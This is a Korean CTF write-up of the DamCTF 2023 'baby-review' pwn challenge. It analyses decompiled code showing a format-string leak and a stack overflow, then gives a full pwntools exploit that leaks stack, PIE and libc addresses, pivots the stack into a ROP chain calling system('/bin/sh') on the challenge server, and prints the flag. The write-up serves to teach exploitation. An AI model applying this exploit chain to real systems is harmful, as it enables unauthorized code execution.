Dam CTF 2023 - baby-review (fsb)

unknown

  • [? solves / ? points]

롸업을 너무 늦게 작성해서 사이트가 닫혔다.. 내가 41번째로 풀었던 것 같다.

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
__int64 v4; // rdi
char input[64]; // [rsp+0h] [rbp-50h] BYREF
const char *country; // [rsp+40h] [rbp-10h]
int v8; // [rsp+4Ch] [rbp-4h]

v3 = time(0LL);
v4 = v3;
srand(v3);
load_countries(v4, argv);
puts("Alright I need to prove you're human so lets do some geography");
v8 = rand() % num_countries;
country = (char *)&countries + 100 * v8;
printf("What is the capital of %s?\n", country);
fgets(input, 50, stdin);
input[strcspn(input, "\r\n")] = 10;
if ( strcmp(input, country + 50) )
{
printf("Incorrect. The capital of %s is %s.\n", country, country + 50);
exit(0);
}
puts("Correct!");
puts("Alright I'll let you through");
menu();
return 0;
}

load_countries 함수는 간단하게 이야기하면 서버에 있는 txt 파일에서 country와 capital을 읽어오는 것이다. country는 country에 저장되고 capital은 country + 50에 저장된다. 이 두 개의 데이터를 읽어오는 txt 파일 내부는 아래와 같이 생겼다. , 기준으로 잘라서 읽는다.

1
2
aaaa,bbbb
cccc,dddd

짝에 맞는 country와 captial을 맞춰주면 menu 함수를 실행하게 되고 본격적인 구현이 시작된다. 참고로 틀리면 정답을 알려주니 remote로 문제를 풀 때 일부러 틀려서 데이터들을 모아서 풀면 된다. 한 번만 맞추면 menu 함수를 실행하니 맞출 때까지 연결했다가 끊어주고 하면 된다.

menu 함수를 보면 5 가지 기능이 있고 각 기능을 살펴봐야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
switch ( choice )
{
case '1':
read_book();
break;
case '2':
watch_movie(fsb); // leak something
break;
case '3':
review(); // put payload
break;
case '4':
puts("Sad to see you go."); // bof
puts("Could I get your name for my records?");
return read(0, buf, 48uLL);
case '5':
(fsb); // read(0, fsb, 0x12CuLL);
break;
default:
exit(0);
}

주석에 적힌대로 watch_movie 함수에서는 쉽게 printf(buf)로 인해 대놓고 FSB가 발생한다. 입력은 5번 메뉴인 add_movie 함수에서 아래와 같이 이뤄진다.

1
2
3
4
5
6
7
8
9
10
11
char *__fastcall add_movie(void *fsb)
{
char *result; // rax

puts("Enter your movie link here and I'll add it to the list");
read(0, fsb, 0x12CuLL);
result = strstr((const char *)fsb, "%n");
if ( result )
exit(0);
return result;
}

n이 필터링되어 있어서 p를 사용해서 주소 leak만 할 수 있다.

한편, 4번 메뉴에선 BOF가 발생하는데 버퍼의 위치가 아래와 같아서 정말 아슬하게 오버플로우가 발생한다.

1
char buf[32]; // [rsp+130h] [rbp-20h] BYREF

대신 review 함수를 보면 아주 넉넉하게 변수에다가 입력을 받고 있으므로 여기다가 payload를 저장시켜 놓고 흐름을 바꾸면 될 것 같다!

1
2
3
4
5
6
7
8
9
10
11
int review()
{
char v1[1008]; // [rsp+0h] [rbp-430h] BYREF
char buf[64]; // [rsp+3F0h] [rbp-40h] BYREF

puts("What is the name of the book/movie you would like to review?");
read(0, buf, 59uLL);
puts("Okay, write your review below:");
read(0, v1, 1000uLL);
return puts("Thanks! I'll make sure to take note of this review.");
}

Solve

  1. captital 질문 맞추기
  2. add_movie 함수와 watch_movie 함수를 통해 FSB를 이용하여 leak stack, libc address
  3. review 함수를 통해 system 함수 실행하는 rop payload 입력
  4. 4번 메뉴를 통해 흐름을 rop payload가 저장된 스택으로 변경

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
from time import sleep

# p = process('./chall-p')
e = ELF('./chall-p')
libc = ELF('./libc.so.6')
p = remote('chals.damctf.xyz', 30888)

while(1):
sleep(1)
p.recvuntil(b'capital of ')
country = p.recvline()
country = country[:-2]

# if country == b'aaaa':
# p.sendline(b'bbbb')
# if country == b'cccc':
# p.sendline(b'dddd')

if country == b'Italy':
p.sendline('Rome')
if country == b'Australia':
p.sendline('Canberra')
if country == b'Ireland':
p.sendline('Dublin')
if country == b'Jordan':
p.sendline('Amman')
if country == b'Sweden':
p.sendline('Stockholm')
if country == b'India':
p.sendline('Delhi')
if country == b'Egypt':
p.sendline('Cairo')
if country == b'Tanzania':
p.sendline('Dodoma')
if country == b'Lebanon':
p.sendline('Beirut')
if country == b'Kenya':
p.sendline('Nairobi')
if country == b'Denmark':
p.sendline('Copenhagen')
if country == b'Peru':
p.sendline('Lima')

p.sendline()
text = p.recvline()
print(text)
if b'Incorrect.' in text:
p.close()
# p = process('./chall-p')
p = remote('chals.damctf.xyz', 30888)
else:
break

# leak stack
p.sendlineafter(b'4. Exit\n', str(5)) # write fsb payload
p.sendlineafter(b'list\n', b'%7$p')

p.sendlineafter(b'4. Exit\n', str(2)) # trigger fsb
p.recvuntil(b'Icx4xul9LEE\n')
stack = int(p.recvline()[:-1], 16)
info('stack : ' + hex(stack))

# leak pie
p.sendlineafter(b'4. Exit\n', str(5)) # write fsb payload
p.sendlineafter(b'list\n', b'%9$p')

p.sendlineafter(b'4. Exit\n', str(2)) # trigger fsb
p.recvuntil(b'Icx4xul9LEE\n')
e.address = int(p.recvline()[:-1], 16) - 0x580
info('pie : ' + hex(e.address))

# libc leak
p.sendlineafter(b'4. Exit\n', str(5)) # write fsb payload
p.sendlineafter(b'list\n', b'%45$p')

p.sendlineafter(b'4. Exit\n', str(2)) # trigger fsb
p.recvuntil(b'Icx4xul9LEE\n')
libc.address = int(p.recvline()[:-1], 16) -0x5902a - 0x28000
info('libc : ' + hex(libc.address))

# put payload
p.sendlineafter(b'4. Exit\n', str(3))
payload = b''
payload += b'A' * 8
payload += p64(libc.address + 0x2a3e5) # pop rdi
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(libc.address + 0x29cd6) # ret
payload += p64(libc.sym['system'])
print(libc.sym['system'])
# pause()
p.sendlineafter(b'review?\n', payload)
p.sendlineafter(b'below:\n', payload)

# control rip
p.sendlineafter(b'4. Exit\n', str(4))
payload = b''
payload += b'A' * (0x20)
payload += p64(stack - 0x440) # rbp
payload += p64(libc.address + 0x562ec) # leave ret

print(hex(len(payload)))
pause()
p.sendlineafter(b'records?\n', payload)

p.interactive()

Flag

1
dam{my_f4v0r173_15_bl4d3_runn3r_b1n6b0n6}